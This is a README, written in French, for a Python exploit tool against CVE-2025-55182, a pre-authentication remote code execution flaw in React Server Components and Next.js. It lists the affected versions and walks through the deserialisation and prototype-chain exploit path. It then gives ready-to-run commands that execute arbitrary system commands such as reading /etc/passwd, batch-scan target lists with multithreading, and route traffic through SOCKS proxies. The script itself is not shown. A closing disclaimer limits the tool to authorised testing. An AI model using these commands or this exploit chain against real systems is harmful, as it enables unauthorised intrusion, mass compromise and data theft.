
Exploit d'exécution de code à distance sans authentification pour les composants serveur React et Next.js via une vulnérabilité de désérialisation. Prend en charge le scan de cibles uniques et le balayage par lots avec proxy et multithreading.
| Propriété | Valeur |
|---|
| ID CVE | CVE-2025-55182 |
| CVSS | 10.0 (Critique) |
| CWE | CWE-502 : Désérialisation de données non fiables |
| Type | RCE pré-authentification |
| Composant | Versions affectées |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| Paquets associés | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
Cette vulnérabilité exploite un défaut de désérialisation dans le protocole Flight des React Server Components (RSC). En construisant une requête multipart/form-data malveillante, elle permet une exécution de code à distance non autorisée. La chaîne d'exploitation complète est la suivante :
POST multipart/form-data avec l'en-tête Next-Action, on déclenche le chemin Server Action.$1:__proto__:then accède à Chunk.prototype.then sur l'objet Chunk 1 en état PENDING, le rendant thenable.$1:constructor:constructor est résolu via la chaîne de prototypes en constructeur Function.Chunk.prototype.then appelle initializeModelChunk pour analyser le champ value '{"then":"$B0"}'.$B0 est analysé et appelle _formData.get(_prefix + "0"), soit Function(code + "0").then, est considéré comme thenable et est invoqué, déclenchant l'exécution de code et réalisant la RCE.pip install requests[socks]
Le script tentera d'installer automatiquement
requestsetPySockssi les dépendances manquent.
python CVE-2025-55182.py -u http://cible:3000 -c "id"
python CVE-2025-55182.py -f cibles.txt -c "cat /etc/passwd" -o resultats.txt
python CVE-2025-55182.py -u http://cible:3000 --check
python CVE-2025-55182.py -f cibles.txt --check -o hotes_vulnerables.txt
# Proxy HTTP
python CVE-2025-55182.py -u http://cible:3000 -c "whoami" --proxy http://127.0.0.1:8080
# Proxy SOCKS5
python CVE-2025-55182.py -f cibles.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://cible:3000 -c "id" -v
| Paramètre | Description | Valeur par défaut |
|---|---|---|
-u, --url | URL d'une seule cible (mutuellement exclusif avec -f) | - |
-f, --file | Fichier contenant la liste des URL cibles, une par ligne (mutuellement exclusif avec -u) | - |
-c, --command | Commande système à exécuter (non requis en mode --check) | - |
-o, --output | Fichier de sortie des résultats | results.txt |
-t, --threads | Nombre de threads simultanés | 10 |
-v, --verbose | Afficher les sorties de débogage | False |
--proxy | Adresse du proxy, prend en charge HTTP et SOCKS5 | - |
--timeout | Délai d'attente de la requête (en secondes) | 15 |
--check | Vérifier uniquement la vulnérabilité, sans exécuter de commande système | False |
--verify-ssl | Vérifier le certificat TLS | False |
Les résultats du scan par lots sont écrits dans le fichier spécifié par -o ; seules les cibles confirmées vulnérables sont enregistrées.
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# Les lignes de commentaire sont ignorées
Cet outil est destiné uniquement aux tests de sécurité autorisés et à la recherche en sécurité. L'utilisateur doit s'assurer d'avoir obtenu l'autorisation explicite du propriétaire du système cible. Toute intrusion non autorisée sur un système constitue une infraction pénale ; l'utilisateur assume l'entière responsabilité juridique.